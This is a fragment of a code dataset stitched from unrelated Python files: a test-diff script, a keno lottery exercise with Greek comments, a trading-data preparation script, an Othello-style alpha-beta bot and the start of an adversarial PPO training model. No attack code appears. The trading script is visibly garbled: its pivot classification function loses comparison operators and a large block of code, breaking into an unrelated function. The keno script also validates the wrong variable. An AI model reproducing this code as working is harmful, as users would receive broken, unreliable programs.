'\\n')\n f.write('*' * 10 + 'yxm' + '=' + yxm + '\\n')\n\n with open(os.path.join(result_folder, \"ncj\"), 'w+') as f:\n f.write(str(a) + \" \" + str(b) + \"simple\" + '\\n')\n f.write('*' * 10 + 'ncj' + '=' + ncj + '\\n')\n exit(-1)\n\n if yxm2 != ncj2: # compare result for this number\n count += 1\n filename = str(count) + \".diff\" # output the difference into file\n with open(os.path.join(result_folder, filename), 'w+') as f:\n f.write(str(a) + \" \" + str(b) + \"counting\" + '\\n')\n diff = list(difflib.context_diff(yxm.splitlines(), ncj.splitlines(), lineterm=''))\n for item in diff:\n f.write(item + '\\n')\n\n with open(os.path.join(result_folder, \"yxm\"), 'w+') as f:\n f.write(str(a) + \" \" + str(b) + \"counting\" + '\\n')\n f.write('*' * 10 + 'yxm' + '=' + yxm + '\\n')\n\n with open(os.path.join(result_folder, \"ncj\"), 'w+') as f:\n f.write(str(a) + \" \" + str(b) + \"counting\" + '\\n')\n f.write('*' * 10 + 'ncj' + '=' + ncj + '\\n')\n exit(-1)\n\n","sub_path":"Project3/testP3/testp3.py","file_name":"testp3.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"614736216","text":"#icsd14134 - Μπόνης Αθανάσιος\nimport random #θα χρησιμοποιήσουμε την βιβλιοθήκη random για να παράξουμε τυχαίους αριθμούς\nimport sys #η βιβλιοθήκη sys θα χρειαστεί για να διακόψουμε το πρόγραμμα\nwhile True: #θα τρέχει επαναληπτικά μέχρι να θελήσει ο χρήστης να σταματήσει\n counterNumbers = input(\"How much numbers do you want? (x for Exit)\") #Ζητά απο τον χρήστη πόσους αριθμούς θα παίξει\n numberList = [] #αρχικοποιεί την λίστα με τους αριθμούς\n while(counterNumbers.isnumeric() == False): #ελέγχει αν έχει δώσει σωστή μορφή ο χρήστης\n if(counterNumbers == \"x\"): #αν ο χρήστης δώσει x στην είσοδο τότε βγαίνει απο το πρόγραμμα\n sys.exit()\n counterNumbers = input(\"Your choice must be a numeric. Please give how much numbers do you want?\")\n for i in range(0,int(counterNumbers)): #Ζητά τους αριθμούς απο τον χρήστη, κάνει ελέγχους αν είναι σωστοί και τους εκχωρεί\n numberChoice = input(\"Give number between 1-80: \")\n while(numberChoice.isnumeric() == False):\n numberChoice = input(\"Give a true number: \")\n while((int(numberChoice) <1) or (int(numberChoice) > 80)):\n numberChoice = input(\"Please number must be between 1-80. Give the number again: \")\n while(int(numberChoice) in numberList):\n numberChoice = input(\"The number is already chosen. Please give a different number: \")\n numberList.append(int(numberChoice))\n print(\"Your choices: \", end=\" \") #τους εμφανίζει στην οθόνη\n print(numberList)\n moneyAdd = input(\"Give the value of money that you want(1,2,5 or 10 euro): \") #ζητά το ποσό που θέλει να παίξει ο χρήστης\n while(counterNumbers.isnumeric() == False): #κάνει έλεγχο αν είναι αριθμός και αν είναι 1,2,5 ή 10.\n moneyAdd = input(\"Your choice must be a numeric. Please give the value of the money again: \")\n while((int(moneyAdd) != 1) and (int(moneyAdd) != 2) and (int(moneyAdd) != 5) and (int(moneyAdd) != 10)):\n moneyAdd = input(\"Your choice must be 1,2,5 or 10. Please give the value of the money again: \")\n print(\"Your amount: \", end=\" \") #το εμφανίζει στην οθόνη\n print(moneyAdd)\n randomList = [] #αρχικοποιεί και δημιουργεί τυχαίους 20 αριθμούς απο το 1 ως το 80\n randomList = random.sample(range(1,80),20)\n print(\"The draw is: \", end=\" \") #Εμφανίζει την κλήρωση\n print(randomList)\n successCounter = 0 #αρχικοποιεί τον μετρητή που θα κρατάει πόσους αριθμούς βρήκε\n for i in numberList: #τρέχει όλη την λίστα με τους αριθμούς που έδωσε ο χρήστης\n if(i in randomList): #αν ο αριθμός βρίσκεται στην λίστα της κλήρωσης, τότε αυξάνει τον μετρητή\n successCounter = successCounter + 1\n print(\"You found the number: \", end=\" \") #και εμφανίζει τον αριθμό στην οθόνη\n print(i)\n print(\"You found \", end=\" \") #Τέλος, εμφανίζει πόσους απο τους αριθμούς βρήκε\n print(successCounter,end=\" \")\n print(\" numbers.\")\n #δημιουργούμε τον πίνακα κερδών \n table = ((0,2.5),(0,1,5),(0,0,2.5,25),(0,0,1,4,100),(0,0,0,2,20,450),(0,0,0,1,7,50,1600),(0,0,0,1,3,20,100,5000),(0,0,0,0,2,10,50,1000,15000),(0,0,0,0,1,5,25,200,4000,40000),(2,0,0,0,0,2,20,80,500,10000,100000),(2,0,0,0,0,1,10,50,250,1500,15000,500000),(4,0,0,0,0,0,4,25,150,1000,2500,25000,1000000))\n #εμφανίζουμε τα κέρδη δίνοντας ως γραμμή το πόσους αριθμούς έπαιξε ο χρήστης -1 για να πάει στην σωστή γραμμή\n #και ώς στήλη το πόσους πέτυχε. Κάνουμε τον πολλαπλασιασμό για να βγεί το ποσό.\n print(table[int(counterNumbers)-1][successCounter] * int(moneyAdd), end=\" \") \n print(\" euro.\")","sub_path":"Asn2/Asn2/Asn2_Exercise2.py","file_name":"Asn2_Exercise2.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"349925123","text":"#\n# Copyright (c) 2020-2021 by Frederi CATRIER - All rights reserved.\n#\n\n\"\"\"\n\nTri plus ancien (head) vers plus récent (tail): (df = df.sort_index(ascending=True))\n - shift( 1) = valeur hier\n - shift(-1) = valeur demain\n - calculs avec librairie ta : OK\n\nMais attention ce tri n'est pas adapté à l'extaction : ne pas oublier de l'inverser avec la commande\n df = df.sort_index(ascending=False)\n\n\n# # remise dans l'ordre chronologique du plus récent en 1er au plus ancien en dernier\n# # attention à l'application des indicateurs techniques : appliqués de haut en bas dans le df\n# # de qui n'est pas le sens \n# g_big_for_target = g_big_for_target.sort_index(ascending=True)\n\n\n# # le 10/12 : Potentiels vérifiés, OK\n# # TODO : indicateurs techniques et plogClose_period_xx\n# cols = ['Close_M15','High_M15','Pot_Long_2']\n# UsaInd_dfM15[cols]\n\n# indicator_EMA_3 = ta.trend.EMAIndicator(g_big_for_target['Usa500_M15_idx'],3)\n# g_big_for_target['Usa500_M15_idx.EMAIndicator_3']=indicator_EMA_3.ema_indicator()\n# g_big_for_target['Usa500_M15_idx.ema_indicator_3']=ta.trend.ema_indicator(g_big_for_target['Usa500_M15_idx'],3)\n\n# g_big_for_target = g_big_for_target.sort_index(ascending=False)\n\n\n\"\"\"\n\nimport arbo\nimport pandas\nimport numpy\nimport ta\nfrom scipy import stats\n\n# -----------------------------------------------------------------------------\n# Définition des fonctions\n# -----------------------------------------------------------------------------\n\ndef get_prepared_dataset_full_filename(dataset_name,symbol,period):\n return arbo.get_source_data_dir(arbo.get_py_dir(),dataset_name)+'\\\\'+symbol+'_2018-2020-10-18_'+period+'.csv'\n\ndef read_data(data_dir):\n df=pandas.read_csv(data_dir, index_col=0, parse_dates=True)\n df.insert(1, 'idx', range(0, len(df)))\n df['DateTime'] = df.index\n df['year'] = [(df['DateTime'][i].year ) for i in range(0, len(df))]\n df['month'] = [(df['DateTime'][i].month ) for i in range(0, len(df))]\n df['day'] = [(df['DateTime'][i].day ) for i in range(0, len(df))]\n df['dayofweek'] = [(df['DateTime'][i].dayofweek ) for i in range(0, len(df))]\n df['hour'] = [(df['DateTime'][i].hour ) for i in range(0, len(df))]\n df['minute'] = [(df['DateTime'][i].minute ) for i in range(0, len(df))]\n df['time_slot'] = ( df['hour'] * 4 + df['minute'] // 15 ) / 100.0\n df.head()\n return df\n\ndef step_from_period(period):\n step=0\n if(period==\"M1\"):\n step=1\n elif(period==\"M5\"):\n step=5\n elif(period==\"M15\"):\n step=15\n elif(period==\"M30\"):\n step=30\n elif(period==\"H1\"):\n step=60\n elif(period==\"H4\"):\n step=4*60\n return step\n\ndef dfMn_allData(df,period):\n filter=[]\n step=step_from_period(period)\n for i in range(0,60,step):\n filter.append(i)\n dfMn = df.copy()\n dfMn = dfMn[dfMn['minute'].isin(filter)]\n return dfMn\n\ndef add_potentiel_long_short(df,n):\n df['Pot_Long' +'_'+str(n)] = df['High'].rolling(n).max().shift(-n) - df['Close']\n df['Pot_Short'+'_'+str(n)] = - df['Low' ].rolling(n).min().shift(-n) + df['Close']\n return df\n\ndef add_log_close(df,period):\n for depth in (1,2,3,5,8,13,21):\n df['logClose_'+period+'_'+str(depth)] = numpy.log(df['Close_'+period]/df['Close_'+period].shift(depth))\n df['plogClose_'+period+'_'+str(depth)]=[(stats.percentileofscore(df['logClose_'+period+'_'+str(depth)],df['logClose_'+period+'_'+str(depth)][i])/100.0) for i in range(0, len(df))]\n for depth in (1,2,3,5,8,13,21):\n df = df.drop(['logClose_'+period+'_'+str(depth)],axis=1)\n return df\n\n# pré-requis pour calculer les Heikin-Ashi\n# crée deux colonnes prev_Open_period et prev_Close_period\ndef add_prev_OpenClose(df,period):\n df['prev_Open' +'_'+period]=df['Open' +'_'+period].shift(1)\n df['prev_Close' +'_'+period]=df['Close'+'_'+period].shift(1)\n df['delta_Close'+'_'+period]=df['Close'+'_'+period]-df['prev_Close'+'_'+period]\n return df\n\ndef add_HA(df,period):\n df = df.copy()\n df['HA_Close'+'_'+period]=(df['Open'+'_'+period]+df['High'+'_'+period]+df['Low'+'_'+period]+df['Close'+'_'+period])/4\n df['HA_Open' +'_'+period]=(df['prev_Open'+'_'+period]+df['prev_Close'+'_'+period])/2\n df['HA_Open' +'_'+period]=round(df['HA_Open' +'_'+period],2)\n df['HA_Close'+'_'+period]=round(df['HA_Close'+'_'+period],2)\n df['HA_High' +'_'+period]=df[['HA_Open'+'_'+period,'HA_Close'+'_'+period,'High'+'_'+period]].max(axis=1)\n df['HA_Low' +'_'+period]=df[['HA_Open'+'_'+period,'HA_Close'+'_'+period,'Low' +'_'+period]].min(axis=1)\n df['HA_High' +'_'+period]=round(df['HA_High'+'_'+period],2)\n df['HA_Low' +'_'+period]=round(df['HA_Low' +'_'+period],2)\n return df\n\ndef add_pivot(df,period_pivot):\n \"\"\"\n # Pivot = (H + B + C) / 3\n # S1 = (2 x Pivot) - H\n # S2 = Pivot - (H - B)\n # S3 = B - 2x (H - Pivot)\n # R1 = (2 x Pivot) - B\n # R2 = Pivot + (H - B)\n # R3 = H + 2x (Pivot - B)\n \"\"\"\n df['Pivot_'+period_pivot]=(df['High_'+period_pivot]+df['Low_'+period_pivot]+df['Close_'+period_pivot])/3.0\n df['S1_'+period_pivot]=2.0*df['Pivot_'+period_pivot]-df['High_'+period_pivot]\n df['S2_'+period_pivot]=df['Pivot_'+period_pivot]-(df['High_'+period_pivot]-df['Low_'+period_pivot])\n df['S3_'+period_pivot]=df['Low_'+period_pivot]-2.0*(df['High_'+period_pivot]-df['Pivot_'+period_pivot])\n df['R1_'+period_pivot]=2.0*df['Pivot_'+period_pivot]-df['Low_'+period_pivot]\n df['R2_'+period_pivot]=df['Pivot_'+period_pivot]+(df['High_'+period_pivot]-df['Low_'+period_pivot])\n df['R3_'+period_pivot]=df['High_'+period_pivot]+2.0*(df['Pivot_'+period_pivot]-df['Low_'+period_pivot])\n df['Pivot_'+period_pivot]=round(df['Pivot_'+period_pivot],2)\n df['S1_'+period_pivot]=round(df['S1_'+period_pivot],2)\n df['S2_'+period_pivot]=round(df['S2_'+period_pivot],2)\n df['S3_'+period_pivot]=round(df['S3_'+period_pivot],2)\n df['R1_'+period_pivot]=round(df['R1_'+period_pivot],2)\n df['R2_'+period_pivot]=round(df['R2_'+period_pivot],2)\n df['R3_'+period_pivot]=round(df['R3_'+period_pivot],2)\n df=class_vs_pivot(df,period_pivot)\n df=clean_pivot(df,period_pivot)\n return df\n\ndef class_vs_pivot(df,period_pivot):\n df['class_vs_pivot_'+period_pivot] = \\\n (\n (\n (+4) * ( (df['Close']>df['R3_' +period_pivot]) ) +\n (+3) * ( (df['Close']df['R2_' +period_pivot]) ) +\n (+2) * ( (df['Close']df['R1_' +period_pivot]) ) +\n (+1) * ( (df['Close']df['Pivot_'+period_pivot]) ) +\n (-1) * ( (df['Close']df['S1_' +period_pivot]) ) +\n (-2) * ( (df['Close']df['S2_' +period_pivot]) ) +\n (-3) * ( (df['Close']df['S3_' +period_pivot]) ) +\n (-4) * ( (df['Close'] nettoyage\n big_H1 = big_H1 [(big_H1 ['DateTime']<=\"2020-10-29 00:00:00\")]\n big_M30 = big_M30[(big_M30['DateTime']<=\"2020-10-29 00:00:00\")]\n big_M15 = big_M15[(big_M15['DateTime']<=\"2020-10-29 00:00:00\")]\n big_M5 = big_M5 [(big_M5 ['DateTime']<=\"2020-10-29 00:00:00\")]\n #big_M1 = big_M1 [(big_M1 ['DateTime']<=\"2020-10-29 00:00:00\")]\n #\n return Usa500_dfH1, Usa500_dfM30, Usa500_dfM15, Usa500_dfM5, \\\n UsaInd_dfH1, UsaInd_dfM30, UsaInd_dfM15, UsaInd_dfM5, \\\n UsaTec_dfH1, UsaTec_dfM30, UsaTec_dfM15, UsaTec_dfM5, \\\n Ger30_dfH1, Ger30_dfM30, Ger30_dfM15, Ger30_dfM5, \\\n EURUSD_dfH1, EURUSD_dfM30, EURUSD_dfM15, EURUSD_dfM5, \\\n USDJPY_dfH1, USDJPY_dfM30, USDJPY_dfM15, USDJPY_dfM5, \\\n GOLD_dfH1, GOLD_dfM30, GOLD_dfM15, GOLD_dfM5, \\\n LCrude_dfH1, LCrude_dfM30, LCrude_dfM15, LCrude_dfM5, \\\n big_H1, big_M30, big_M15, big_M5\n\n\n#\n# Points d'entrée et variables globales à partir d'ici\n#\n\n# dataset_name = 'work'\n\n# Usa500_dfH1, Usa500_dfM30, Usa500_dfM15, Usa500_dfM5, \\\n# UsaInd_dfH1, UsaInd_dfM30, UsaInd_dfM15, UsaInd_dfM5, \\\n# UsaTec_dfH1, UsaTec_dfM30, UsaTec_dfM15, UsaTec_dfM5, \\\n# Ger30_dfH1, Ger30_dfM30, Ger30_dfM15, Ger30_dfM5, \\\n# big_H1, big_M30, big_M15, big_M5 = load_prepared_data(dataset_name)\n\n\n# Usa500_dfH1, Usa500_dfM30, Usa500_dfM15, Usa500_dfM5, Usa500_dfM1, \\\n# UsaInd_dfH1, UsaInd_dfM30, UsaInd_dfM15, UsaInd_dfM5, UsaInd_dfM1, \\\n# UsaTec_dfH1, UsaTec_dfM30, UsaTec_dfM15, UsaTec_dfM5, UsaTec_dfM1, \\\n# Ger30_dfH1, Ger30_dfM30, Ger30_dfM15, Ger30_dfM5, Ger30_dfM1, \\\n# big_H1, big_M30, big_M15, big_M5, big_M1 = load_prepared_data(dataset_name)\n\n\n# pCols = ['pRSI','pBOLL','pADX','pCCI','pMassIndex','pATR','pUltimateOscillator','pWilliamsRIndicator']\n# for i in range (0,len(pCols)):\n # for j in range(i+1,len(pCols)):\n # numpy.corrcoef(Ger30_dfM5[pCols[i]],Ger30_dfM5[pCols[j]])\n\n# future use\n# def steps_from_period(period):\n # stepMin=0\n # stepHour=0\n # if(period==\"M1\"):\n # stepMin=1\n # stepHour=0\n # elif(period==\"M5\"):\n # stepMin=5\n # stepHour=0\n # elif(period==\"M15\"):\n # stepMin=15\n # stepHour=0\n # elif(period==\"M30\"):\n # stepMin=30\n # stepHour=0\n # elif(period==\"H1\"):\n # stepMin=60\n # stepHour=1\n # elif(period==\"H4\"):\n # stepMin=60\n # stepHour=4\n # return stepMin, stepHour\n","sub_path":"step1_dataset_prepare_raw_data.py","file_name":"step1_dataset_prepare_raw_data.py","file_ext":"py","file_size_in_byte":42999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"339264856","text":"import itertools\nimport random\n\nfrom init import Board\n\nUNStable_lst = [\n 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7', 'a8', 'b1', 'b2', 'b3', 'b4',\n 'b5', 'b6', 'b7', 'b8', 'c1', 'c2', 'c3', 'c4', 'c5', 'c6', 'c7', 'c8',\n 'd1', 'd2', 'd3', 'd4', 'd5', 'd6', 'd7', 'd8', 'e1', 'e2', 'e3', 'e4',\n 'e5', 'e6', 'e7', 'e8', 'f1', 'f2', 'f3', 'f4', 'f5', 'f6', 'f7', 'f8',\n 'g1', 'g2', 'g3', 'g4', 'g5', 'g6', 'g7', 'g8', 'h1', 'h2', 'h3', 'h4',\n 'h5', 'h6', 'h7', 'h8'\n]\nstable_lst = [[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0]]\n\ncorner = ['a1', 'a8', 'h1', 'h8']\n\nh_weight = [[120, -20, 20, 5, 5, 20, -20, 120],\n [-20, -40, -5, -5, -5, -5, -40, -20],\n [20, -5, 15, 3, 3, 15, -5, 20], [5, -5, 3, 3, 3, 3, -5, 5],\n [5, -5, 3, 3, 3, 3, -5, 5], [20, -5, 15, 3, 3, 15, -5, 20],\n [-20, -40, -5, -5, -5, -5, -40, -20],\n [120, -20, 20, 5, 5, 20, -20, 120]]\n\n\ndef getRowId(numeric_character):\n return ord(numeric_character) - ord('1')\n\n\ndef getColumnId(alphabet_character):\n return ord(alphabet_character) - ord('a')\n\n\ndef getTakenVCell(victory_cell, cell):\n v_b = v_w = 0\n for c in victory_cell:\n if cell.getValue(c) == 'W':\n v_b += 1\n if cell.getValue(c) == 'B':\n v_w += 1\n return v_b, v_w\n\n\ndef getWeightSquares(cell, color):\n cell_lines = cell.getCellLineList()\n total = 0\n for i in range(8):\n cell_lines[i] = cell_lines[i].replace(' ', '')\n for j in range(8):\n if cell_lines[i][j] == color:\n total += h_weight[i][j]\n elif cell_lines[i][j] != 'E':\n total -= h_weight[i][j]\n return total\n\n\ndef stableCount(cell, color):\n count = 0\n unstable_list_fake = UNStable_lst.copy()\n stable_lst_fake = stable_lst.copy()\n for i in range(len(unstable_list_fake)):\n stable = False\n if cell.getValue(unstable_list_fake[i]) == color:\n stable = isStableVertical(unstable_list_fake[i], stable_lst_fake) and \\\n isStableHorizontal(unstable_list_fake[i], stable_lst_fake) and \\\n isStableLeftDiagonal(unstable_list_fake[i], stable_lst_fake) and \\\n isStableRightDiagonal(unstable_list_fake[i], stable_lst_fake)\n if stable:\n alphabet_character, numeric_character = tuple(\n unstable_list_fake[i])\n stable_lst_fake[getRowId(numeric_character)][getColumnId(\n alphabet_character)] = 1\n count += 1\n return count\n\n\ndef isStableLeftDiagonal(position, stable_lst_fake):\n alphabet_character, numeric_character = tuple(position)\n rowUP = getRowId(numeric_character) + 1\n rowDown = getRowId(numeric_character) - 1\n colUp = getColumnId(alphabet_character) + 1\n colDown = getColumnId(alphabet_character) - 1\n\n if (rowDown < 0 or colDown < 0):\n return True\n if (rowUP > 7 or colUp > 7):\n return True\n if (stable_lst_fake[rowDown][colDown]\n == 1) or (stable_lst_fake[rowUP][colUp] == 1):\n return True\n return False\n\n\ndef isStableRightDiagonal(position, stable_lst_fake):\n alphabet_character, numeric_character = tuple(position)\n rowUP = getRowId(numeric_character) + 1\n rowDown = getRowId(numeric_character) - 1\n colUp = getColumnId(alphabet_character) + 1\n colDown = getColumnId(alphabet_character) - 1\n\n if (rowDown < 0 or colUp > 7):\n return True\n if (rowUP > 7 or colDown < 0):\n return True\n if (stable_lst_fake[rowDown][colUp]\n == 1) or (stable_lst_fake[rowUP][colDown] == 1):\n return True\n return False\n\n\ndef isStableVertical(position, stable_lst_fake):\n alphabet_character, numeric_character = tuple(position)\n rowUP = getRowId(numeric_character) + 1\n rowDown = getRowId(numeric_character) - 1\n col = getColumnId(alphabet_character)\n\n if (rowDown < 0):\n return True\n if (rowUP > 7):\n return True\n if (stable_lst_fake[rowDown][col] == 1) or (stable_lst_fake[rowUP][col]\n == 1):\n return True\n return False\n\n\ndef isStableHorizontal(position, stable_lst_fake):\n alphabet_character, numeric_character = tuple(position)\n row = getRowId(numeric_character)\n colUp = getColumnId(alphabet_character) + 1\n colDown = getColumnId(alphabet_character) - 1\n\n if (colUp > 7):\n return True\n if (colDown < 0):\n return True\n if (stable_lst_fake[row][colUp] == 1) or (stable_lst_fake[row][colDown]\n == 1):\n return True\n return False\n\n\ndef is_end(victory_cells, cell, color):\n v_b = v_w = 0\n count = 0\n\n v_b, v_w = getTakenVCell(victory_cells, cell)\n if v_b == 5:\n return \"BLACK\"\n if v_w == 5:\n return \"WHITE\"\n\n if count == 5:\n if v_w > v_b:\n return \"WHITE\"\n return \"BLACK\"\n\n check_playable = cell.isPlayable(color)\n if not check_playable:\n return \"BLACK\" if color == 'B' else 'WHITE'\n return None\n\n\ndef Heuristic(victory_cell, cell, color, max=True):\n op_color = 'W' if color != 'W' else 'B'\n cornerv, op_cornerv = 0, 0\n my_stb = stableCount(cell, color)\n op_stb = stableCount(cell, op_color)\n hstep = 0\n hcorner = 0\n hcoin = 0\n hstb = 0\n hweight = getWeightSquares(cell, color)\n\n if color == 'W':\n coinv, op_coinv = getTakenVCell(victory_cell, cell)\n else:\n op_coinv, coinv = getTakenVCell(victory_cell, cell)\n if coinv + op_coinv != 0:\n hcoin = 100 * (coinv - op_coinv) / (coinv + op_coinv)\n if hcoin != 100 and hcoin != -100:\n hcoin = 0\n stepv = validSteps(cell, color)\n op_stepv = validSteps(cell, op_color)\n\n cornerv = len(set(corner) & set(stepv))\n op_cornerv = len(set(corner) & set(op_stepv))\n\n if len(stepv) + len(op_stepv) != 0:\n hstep = 100 * (len(stepv) - len(op_stepv)) / \\\n (len(stepv) + len(op_stepv))\n if hstep == 100 or hstep == -100:\n hstep *= 11 / 4\n if cornerv + op_cornerv != 0:\n hcorner = 100 * (cornerv - op_cornerv) / (cornerv + op_cornerv)\n if my_stb + op_stb != 0:\n hstb = 100 * (my_stb - op_stb) / (my_stb + op_stb)\n\n score = 4 * hstep + hweight + hcorner * 10 + 8 * hstb + 5 * hcoin\n score = -score if not max else score\n return score, None, None\n\n\ndef maxBot(victory_cell, cell_line, you, alpha, beta, depth):\n cell = Board()\n cell.update(cell_line)\n\n color = 'W' if you == \"BLACK\" else 'B'\n result = is_end(victory_cell, cell, color)\n if depth == 0 or result != None and result != you:\n return Heuristic(victory_cell, cell, color)\n # elif result != None and result != you:\n # return -999998, None, None\n elif result == you:\n return 999998, None, None\n\n maxv = -999999\n\n px = None\n py = None\n cur_weight = getWeightSquares(cell, color)\n\n for (x, y) in itertools.product(list('12345678'), list('abcdefgh')):\n if cell.isPlaceable(y + x, color):\n new_cell = Board()\n new_cell.update(cell_line)\n new_cell.place(y + x, color)\n\n new_state = new_cell.getCellLineList()\n competitior = 'BLACK' if you != \"BLACK\" else 'WHITE'\n (m, min_x, min_y) = minBot(victory_cell, new_state, competitior,\n alpha, beta, depth - 1)\n m += cur_weight\n if m > maxv:\n maxv = m\n px = x\n py = y\n if maxv >= beta:\n return (maxv, px, py)\n\n if maxv > alpha:\n alpha = maxv\n return maxv, px, py\n\n\ndef minBot(victory_cell, cell_line, you, alpha, beta, depth):\n cell = Board()\n cell.update(cell_line)\n\n color = 'W' if you == \"BLACK\" else 'B'\n result = is_end(victory_cell, cell, color)\n if depth == 0 or result != None and result != you:\n return Heuristic(victory_cell, cell, color, False)\n # elif result != None and result != you:\n # return 999998, None, None\n elif result == you:\n return -999998, None, None\n\n minv = 999999\n\n px = None\n py = None\n cur_weight = getWeightSquares(cell, color)\n\n for (x, y) in itertools.product(list('12345678'), list('abcdefgh')):\n if cell.isPlaceable(y + x, color):\n new_cell = Board()\n new_cell.update(cell_line)\n new_cell.place(y + x, color)\n\n new_state = new_cell.getCellLineList()\n competitior = 'BLACK' if you != \"BLACK\" else 'WHITE'\n (m, max_x, max_y) = maxBot(victory_cell, new_state, competitior,\n alpha, beta, depth - 1)\n m -= cur_weight\n if m < minv:\n minv = m\n px = x\n py = y\n if minv <= alpha:\n return (minv, px, py)\n\n if minv < beta:\n beta = minv\n return minv, px, py\n\n\ndef callBot(game_info):\n lines = game_info.split('\\n')\n victory_cell = lines[1].split(' ')\n you = lines[-2]\n lines = lines[3:11]\n (m, px, py) = maxBot(victory_cell, lines, you, -999999, 999999, 2)\n if px == None or py == None:\n return \"NULL\"\n return py + px\n\n\ndef validSteps(cell, color):\n posible_positions = []\n for (r, c) in itertools.product(list('12345678'), list('abcdefgh')):\n if cell.isPlaceable(c + r, color):\n posible_positions.append(c + r)\n return posible_positions\n","sub_path":"bot/thai_bot.py","file_name":"thai_bot.py","file_ext":"py","file_size_in_byte":9772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281886085","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport time\nfrom collections import deque\nfrom queue import Queue\nimport queue\nfrom threading import Thread\nimport time\nimport random\nimport joblib\n\nimport numpy as np\nimport tensorflow as tf\nimport zmq\nfrom gym import spaces\n\nfrom envs.spaces.mask_discrete import MaskDiscrete\nfrom utils.utils import tprint\nfrom agents.ppo_agent import Model\nfrom agents.utils_tf import explained_variance\nfrom agents.reward_shaping import RewardShapingV1, RewardShapingV2, KillingReward\n\nclass Adv_Model(object):\n \"\"\"\n PPO objective function and training.\n \"\"\"\n def __init__(self, *, policy, value, ob_space, ac_space, nbatch_act, nbatch_train, vf_coef,\n unroll_length, ent_coef, max_grad_norm, scope_name, value_clip=False):\n \"\"\"\n :param policy: adversarial policy network and value function.\n :param value: victim agent value function and diff value function.\n :param ob_space: observation space.\n :param ac_space: action space.\n :param nbatch_act: act model batch size.\n :param nbatch_train: training model batch size.\n :param vf_coef: value function loss coefficient.\n :param unroll_length: training rollout length, used for lstm.\n :param ent_coef: entropy loss coefficient.\n :param max_grad_norm: gradient clip.\n :param scope_name: model scope.\n :param value_clip: return clip or not.\n \"\"\"\n sess = tf.get_default_session()\n\n act_model = policy(sess, scope_name, ob_space, ac_space, nbatch_act, 1,\n reuse=False)\n train_model = policy(sess, scope_name, ob_space, ac_space, nbatch_train,\n unroll_length, reuse=True)\n\n # value_model: opponent agent value function model.\n # value1_model: diff value function model.\n\n vact_model = value(sess, \"oppo_value\", ob_space, ac_space, nbatch_act, 1,\n reuse=False)\n vtrain_model = value(sess, \"oppo_value\", ob_space, ac_space, nbatch_train,\n unroll_length, reuse=True)\n\n vact1_model = value(sess, \"diff_value\", ob_space, ac_space, nbatch_act, 1,\n reuse=False)\n vtrain1_model = value(sess, \"diff_value\", ob_space, ac_space, nbatch_train,\n unroll_length, reuse=True)\n\n A = tf.placeholder(shape=(nbatch_train,), dtype=tf.int32)\n ADV = tf.placeholder(tf.float32, [None])\n R = tf.placeholder(tf.float32, [None])\n OLDNEGLOGPAC = tf.placeholder(tf.float32, [None])\n OLDVPRED = tf.placeholder(tf.float32, [None])\n LR = tf.placeholder(tf.float32, [])\n CLIPRANGE = tf.placeholder(tf.float32, [])\n\n self.coef_opp_ph = tf.placeholder(tf.float32, [], name=\"coef_opp_ph\")\n self.coef_adv_ph = tf.placeholder(tf.float32, [], name=\"coef_adv_ph\")\n self.coef_abs_ph = tf.placeholder(tf.float32, [], name=\"coef_abs_ph\")\n\n opp_ADV = tf.placeholder(tf.float32, [None])\n opp_R = tf.placeholder(tf.float32, [None])\n opp_OLDVPRED = tf.placeholder(tf.float32, [None])\n\n abs_ADV = tf.placeholder(tf.float32, [None])\n abs_R = tf.placeholder(tf.float32, [None])\n abs_OLDVPRED = tf.placeholder(tf.float32, [None])\n\n neglogpac = train_model.pd.neglogp(A)\n entropy = tf.reduce_mean(train_model.pd.entropy())\n\n vpred = train_model.vf\n vpredclipped = OLDVPRED + tf.clip_by_value(train_model.vf - OLDVPRED,\n -CLIPRANGE, CLIPRANGE)\n vf_losses1 = tf.square(vpred - R)\n if value_clip:\n vf_losses2 = tf.square(vpredclipped - R)\n vf_loss = .5 * tf.reduce_mean(tf.maximum(vf_losses1, vf_losses2))\n else:\n vf_loss = .5 * tf.reduce_mean(vf_losses1)\n\n # opp value_loss\n opp_vpred = vtrain_model.vf\n opp_vpredclipped = opp_OLDVPRED + tf.clip_by_value(vtrain_model.vf - opp_OLDVPRED, -CLIPRANGE, CLIPRANGE)\n opp_vf_losses1 = tf.square(opp_vpred - opp_R)\n if value_clip:\n opp_vf_losses2 = tf.square(opp_vpredclipped - opp_R)\n opp_vf_loss = .5 * tf.reduce_mean(tf.maximum(opp_vf_losses1, opp_vf_losses2))\n else:\n opp_vf_loss = .5 * tf.reduce_mean(opp_vf_losses1)\n\n # diff value loss\n diff_vpred = vtrain1_model.vf\n diff_vpredclipped = abs_OLDVPRED + tf.clip_by_value(vtrain1_model.vf - abs_OLDVPRED, -CLIPRANGE, CLIPRANGE)\n diff_vf_losses1 = tf.square(diff_vpred - abs_R)\n if value_clip:\n diff_vf_losses2 = tf.square(diff_vpredclipped - abs_R)\n diff_vf_loss = .5 * tf.reduce_mean(tf.maximum(diff_vf_losses1, diff_vf_losses2))\n else:\n diff_vf_loss = .5 * tf.reduce_mean(diff_vf_losses1)\n\n ratio = tf.exp(OLDNEGLOGPAC - neglogpac)\n \n\n adv_pg_losses = self.coef_adv_ph * ADV * ratio\n adv_pg_losses2 = self.coef_adv_ph * ADV * \\\n tf.clip_by_value(ratio, 1.0 - CLIPRANGE, 1.0 + CLIPRANGE)\n\n adv_pg_loss = tf.reduce_mean(tf.maximum(adv_pg_losses, adv_pg_losses2))\n opp_pg_loss = -1.0 * tf.reduce_mean(opp_ADV * self.coef_opp_ph * neglogpac)\n abs_pg_loss = -1.0 * tf.reduce_mean(abs_ADV * 